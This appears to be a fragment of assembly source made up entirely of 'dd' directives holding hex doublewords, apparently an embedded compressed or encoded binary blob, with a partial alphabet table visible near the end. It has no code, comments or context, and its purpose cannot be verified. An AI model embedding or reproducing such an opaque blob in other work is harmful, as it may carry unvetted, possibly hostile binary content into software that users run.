dd 8DC0C084h, 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh
dd 1F783352h, 55007EEBh, 4882694h, 7121179h, 0A2C314A4h
dd 0FA56F003h, 4E039FACh, 30E2B810h, 7459D898h, 736B040h
dd 0C4370E64h, 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h
dd 471C4D6h, 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h
dd 1A0C5903h, 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch
dd 20990024h, 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h
dd 0BB3A00FBh, 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h
dd 810D48D7h, 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h
dd 25A000D4h, 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h
dd 4F6100B5h, 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h
dd 0E85CB227h, 45759331h, 8842D01Fh, 24FEF300h, 11196h
dd 0BB125F22h, 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch
dd 69D61C4Fh, 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h
dd 36D022Bh, 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h
dd 5D0038A1h, 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h
dd 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh
dd 0B026CC91h, 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h
dd 0C0509DA5h, 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h
dd 0A48C0EDCh, 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h
dd 2E01A6h, 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h
dd 0D0A10013h, 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h
dd 7A9700CFh, 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h
dd 10680013h, 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h
dd 98FAD3h, 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h
dd 0DDDB0184h, 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h
dd 5212C3Dh, 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh
dd 5810DBCFh, 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h
dd 0F3C095B4h, 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h
dd 5292B102h, 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h
dd 168D0034h, 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h
dd 331720F3h, 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h
dd 2E5DDD34h, 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h
dd 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h
dd 55B88B04h, 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h
dd 8880B494h, 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah
dd 600F060Bh, 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh
dd 74400FCh, 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h
dd 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh
dd 0CFE200FCh, 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h
dd 0D40DA092h, 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h
dd 0EECF869h, 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h
dd 68C1A1E0h, 0FB0A8058h, 0FC00EA51h, 0A5666F64h, 0B191CEh
dd 117FB762h, 0D3D52DE0h, 0F0466909h, 60558041h, 894831h
dd 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch, 63A6813Dh, 0C183040Ah
dd 1F2DF4CCh, 3AFDBBh
dd 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch
dd 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h
dd 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h
dd 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h
dd 2B30487h, 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h
dd 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h
dd 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h
dd 2EAD812h, 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h
dd 589C88h, 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh
dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h
dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh
dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h
dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh
dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h
dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh
dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h
dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h
dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh
dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch
dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h
dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h
dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h
dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h
dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h
dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h
dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h
dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h
dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch
dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh
dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch
dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h
dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h
dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah
dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h
dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h
dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h
dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h
dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh
dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h
dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h
dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h
dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh
dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h
dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh
dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h
dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh
dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h
dd 2C7F40FBh, 9B831F4Ch, 0D0FCC08Bh, 282DF876h, 317FFF00h
dd 86730232h, 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh
dd 0EBA4A2C1h, 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h
dd 9007704h
dd 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh
dd 8C44A0A1h, 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh
dd 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h
dd 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h
dd 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh
dd 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h
dd 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh
dd 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h
dd 116049D2h, 2BB48719h, 86081C01h, 27204EAh, 0EB09330h
dd 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h
dd 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh
dd 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh
dd 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h
dd 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h
dd 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh
dd 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h
dd 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h
dd 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h
dd 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h
dd 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch
dd 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h
dd 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h
dd 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h
dd 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h
dd 3600FD20h, 33C81067h, 299D28h, 99593577h, 6E1940D0h
dd 0D9D60B1Eh, 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h
dd 0E9EAC1EAh, 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h
dd 68C61B28h, 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh
dd 591F13F4h, 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h
dd 0E3AFF599h, 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h
dd 16207536h, 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh
dd 3046BA33h, 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h
dd 55F0F73Bh, 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh
dd 3CAC1DE3h, 374272Ch, 4D228039h, 103E9620h, 0EF560060h
dd 648AEDE2h, 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h
dd 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch
dd 0A1C76630h, 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h
dd 3925E430h, 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h
dd 653B3Ah, 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h
dd 1EDBFE01h, 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h
dd 3E60CB00h, 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh
dd 0A1B42B93h, 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h
dd 2703F80Eh, 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h
dd 0E4E7006Ah, 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h
dd 0C20776A2h, 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h
dd 0D1F0EAF8h, 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh
dd 270045CEh, 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h
dd 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh
dd 803C2606h, 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h
dd 0A4A68146h, 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah
dd 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h
dd 7FD307Ch, 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h
dd 0E40FC400h, 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h
dd 0DEC16031h, 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h
dd 0DD004517h, 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h
dd 0C200AA9Ah, 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h
dd 736D3100h, 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h
dd 0A03D0320h, 58227507h, 4600BB09h, 119FA506h, 737B90AAh
dd 9D7E811Fh, 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h
dd 2D2E0801h, 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h
dd 0E051ECA2h, 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h
dd 9BF2D8A7h, 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h
dd 0F8EF80BCh, 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah
dd 7DDE515h, 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh
dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h
dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h
dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh
dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh
dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h
dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h
dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh
dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h
dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch
dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh
dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h
dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah
dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h
dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h
dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh
dd 42E4F178h, 1C0E397Eh, 0E7760410h, 0A8340E1h, 2B110082h
dd 5025D453h, 8B0BB273h, 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh
dd 1318960h, 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h
dd 0D108B3h
dd 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h
dd 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h
dd 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh
dd 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h
dd 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh
dd 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh
dd 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh
dd 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h
dd 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h
dd 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h
dd 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h
dd 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h
dd 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h
dd 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h
dd 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h, 75676B5h
dd 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h
dd 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h
dd 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h
dd 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh
dd 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h
dd 28A00D5h, 274307ECh, 0DE004647h, 7570B033h, 28E6E8h
dd 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh
dd 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh, 40478014h
dd 0D97B754Bh, 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h
dd 0F8E280ECh, 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h
dd 0D9B013FCh, 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh
dd 0A5799FD7h, 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h
dd 0C70A57E2h, 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h
dd 307F2AC3h, 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h
dd 0FC3245F3h, 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h
dd 0E07D3173h, 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch
dd 9BDD88B0h, 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h
dd 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h
dd 13FF7D18h, 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h
dd 5FE4FE00h, 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h
dd 33ADFC00h, 8D487C06h, 89231FBBh, 0A7084157h, 61042035h
dd 904EF815h, 54A2FE03h, 8041C59Ch, 7444342h, 48474645h
dd 4B4A0049h, 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h
dd 62615A59h, 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch
dd 7271706Fh, 75740073h, 780E7776h, 307A79h, 34333231h
dd 37361C35h, 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh
dd 703A3B2Ch, 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h
dd 7388E867h, 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h
dd 1490B926h, 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h
dd 5C49E960h, 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh
dd 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h
dd 0FC66C204h, 190759E4h, 941FEBECh, 956BC70h, 4052008Ah
dd 0D4CF5C7Ch, 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh
dd 83481F05h, 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h
dd 0C6660347h, 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h
dd 0BB0076E1h, 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h
dd 5600807Eh, 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h
dd 8F82B80Eh, 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h
dd 0C7143032h, 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h
dd 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh
dd 15684A00h, 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h
dd 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h
dd 2004589h, 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h
dd 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h
dd 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh
dd 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h
dd 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh
dd 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h
dd 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h
dd 52250194h, 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h
dd 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh
dd 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h
dd 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h
dd 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh
dd 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h
dd 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h
dd 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h
dd 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h
dd 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h
dd 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h
dd 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h
